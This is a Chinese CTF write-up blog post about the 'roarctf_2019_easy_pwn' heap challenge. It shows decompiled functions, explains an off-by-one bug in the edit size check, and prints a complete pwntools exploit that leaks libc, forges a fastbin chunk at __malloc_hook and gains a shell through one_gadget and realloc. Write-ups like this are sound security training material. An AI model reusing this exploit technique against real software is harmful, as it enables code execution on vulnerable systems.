• roarctf_2019_easy_pwn


    roarctf_2019_easy_pwn

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    
    • 1
    • 2
    • 3
    • 4
    • 5

    64位,保护全开

    __int64 ADD()
    {
      __int64 result; // rax
      int i; // [rsp+4h] [rbp-1Ch]
      int v2; // [rsp+8h] [rbp-18h]
      int v3; // [rsp+8h] [rbp-18h]
      void *v4; // [rsp+10h] [rbp-10h]
    
      result = 0LL;
      for ( i = 0; i <= 15; ++i )
      {
        result = *((unsigned int *)&BSSFLAG + 4 * i);
        if ( !(_DWORD)result )
        {
          printf("size: ");
          v3 = READ(v2);
          if ( v3 > 0 )
          {
            if ( v3 > 0x1000 )
              v3 = 4096;
            v4 = calloc(v3, 1uLL);
            if ( !v4 )
              exit(-1);
            *((_DWORD *)&BSSFLAG + 4 * i) = 1;
            *((_DWORD *)&BSSSIZE + 4 * i) = v3;
            BSSPTR[2 * i] = v4;
            printf("the index of ticket is %d \n", (unsigned int)i);
          }
          return (unsigned int)i;
        }
      }
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    add这里,size创建不能大于0x1000,

    __int64 EDIT()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      unsigned int idx; // [rsp+Ch] [rbp-14h]
      unsigned int v3; // [rsp+10h] [rbp-10h]
      unsigned int v4; // [rsp+14h] [rbp-Ch]
    
      printf("index: ");
      idx = READ(v1);
      v3 = idx;
      if ( idx <= 0xF )
      {
        idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
        if ( idx == 1 )
        {
          printf("size: ");
          idx = READ(1);
          v4 = sub_E26(*((unsigned int *)&BSSSIZE + 4 * (int)v3), idx);
          if ( (int)idx > 0 )
          {
            printf("content: ");
            return (unsigned int)sub_D92(BSSPTR[2 * (int)v3], v4);
          }
        }
      }
      return idx;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    edit这里乍一看没啥,实际上有个size的比较函数

    __int64 __fastcall sub_E26(int a1, unsigned int a2)
    {
      __int64 result; // rax
    
      if ( a1 > (int)a2 )
        return a2;
      if ( a2 - a1 == 0xA )
        LODWORD(result) = a1 + 1;
      else
        LODWORD(result) = a1;
      return (unsigned int)result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    这里如果从edit里面输入的size,跟你申请的size相差0xa就能有个off by one

    __int64 DELE()
    {
      int idx; // eax
      int v2; // [rsp+Ch] [rbp-14h]
      int v3; // [rsp+10h] [rbp-10h]
      __int64 v4; // [rsp+10h] [rbp-10h]
    
      printf("index: ");
      idx = READ(v3);
      v4 = idx;
      v2 = idx;
      if ( (unsigned __int64)idx <= 0xF )
      {
        v4 = *((int *)&BSSFLAG + 4 * idx);
        if ( v4 == 1 )
        {
          *((_DWORD *)&BSSFLAG + 4 * idx) = 0;
          *((_DWORD *)&BSSSIZE + 4 * idx) = 0;
          free((void *)BSSPTR[2 * idx]);
          BSSPTR[2 * v2] = 0LL;
        }
      }
      return v4;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    dele这里没有uaf

    __int64 SHOW()
    {
      int v1; // [rsp+0h] [rbp-10h]
      unsigned int idx; // [rsp+0h] [rbp-10h]
      unsigned int v3; // [rsp+4h] [rbp-Ch]
    
      printf("index: ");
      idx = READ(v1);
      v3 = idx;
      if ( idx <= 0xF )
      {
        idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
        if ( idx == 1 )
        {
          printf("content: ");
          return (unsigned int)sub_108E(BSSPTR[2 * (int)v3], *((unsigned int *)&BSSSIZE + 4 * (int)v3));
        }
      }
      return idx;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    show这里判断申请那个值是否为1,才给你show

    思路

    利用off by one堆复用,泄露libc,构造fake chunk,打malloc_hook

    from pwn import*
    from Yapack import *
    libc=ELF('libc-2.23.so')
    r,elf=rec("node4.buuoj.cn",29821,"./pwn",10)
    context(os='linux', arch='amd64',log_level='debug')
    #debug('b *0x400649')
    #debug('b *$rebase(0x1466)')
    
    add(0x18)#0
    add(0x10)#1
    add(0x90)#2
    add(0x10)#3
    edit(0,0x22,b'a'*0x10+p64(0x20)+p8(0xa1))
    edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
    dele(1)
    add(0x90)#1
    edit(1,0x20,p64(0)*3+p64(0xa1))
    dele(2)
    show(1)
    leak=get_addr_u64()-mallochook()-88-0x10
    li(leak)
    sys=system(leak)
    malloc=mallochook(leak)
    realloc=reallochook(leak)
    add(0x80)
    edit(1,0x90,p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
    dele(2)
    edit(1,0x30,p64(0)*3+p64(0x71)+p64(malloc-0x23)*2)
    add(0x68)
    add(0x68)#4
    one=[0x45216,0x4526a,0xf02a4,0xf1147]
    edit(4,11+8+8,b'a'*(3+8)+p64(leak+one[3])+p64(realloc+4))
    add(0x10)
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    参考主要是这个师傅,讲的太详细了,我写的文笔也没那么好
    在这里插入图片描述

  • 相关阅读:
    Synchronized关键字
    FISCOBCOS入门(十)Truffle测试helloworld智能合约
    项目管理5大过程组对应47个过程的内容解析
    专利快速预审主体备案服务指南
    一、CSS背景样式[背景样式、盒子阴影]
    JavaWeb 七个步骤,完成一个servlet的hello world程序
    pyTorch——基础学习笔记
    压测工具nGrinder:性能测试入门
    选择.NET 还是 Java?
    如何分析和优化慢sql语句
  • 原文地址:https://blog.csdn.net/qq_62887641/article/details/133532152